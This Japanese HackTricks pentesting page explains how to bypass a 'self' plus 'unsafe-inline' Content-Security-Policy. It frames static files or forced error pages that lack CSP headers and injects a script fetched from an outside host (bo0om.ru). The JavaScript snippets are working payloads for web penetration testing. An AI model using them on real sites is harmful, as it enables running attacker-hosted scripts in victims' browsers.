hacktricks/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md
2023-07-07 23:42:27 +00:00

6.1 KiB
Raw Blame History

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

次のような設定:

Content-Security-Policy: default-src self unsafe-inline;

CSPバイパスself + unsafe-inline with iframes

文字列として送信されたコードを実行する関数の使用を禁止します。たとえば、eval, setTimeout, setIntervalは、unsafe-evalの設定によりすべてブロックされます。

外部ソースからのコンテンツもブロックされます。これには、画像、CSS、WebSockets、特にJSが含まれます。

テキストと画像を通じて

モダンなブラウザは、画像やテキストをHTMLファイルに変換して、より良い表示背景設定、中央揃えなどを行います。

したがって、iframeを使用してfavicon.icorobots.txtなどの画像やテキストファイルを開くと、それらをHTMLとして開くことができます。

この種のページには通常CSPヘッダーがなく、X-Frame-Optionsも設定されていない場合がありますので、そこから任意のJSを実行することができます。

frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//bo0om.ru/csp.js';
window.frames[0].document.head.appendChild(script);

エラー経由

テキストファイルや画像と同様に、エラーレスポンスには通常CSPヘッダーがなく、X-Frame-Optionsもない場合があります。そのため、エラーを強制し、それらをiframe内で読み込むことができます。

// Force nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);

// Force error via long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);

// Force error via long cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Don't forget to remove them
for(var i=0;i<5;i++){document.cookie=i+"="}
// After any of the previous examples, you can execute JS in the iframe with something like:
script=document.createElement('script');
script.src='//bo0om.ru/csp.js';
window.frames[0].document.head.appendChild(script);

参考文献

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥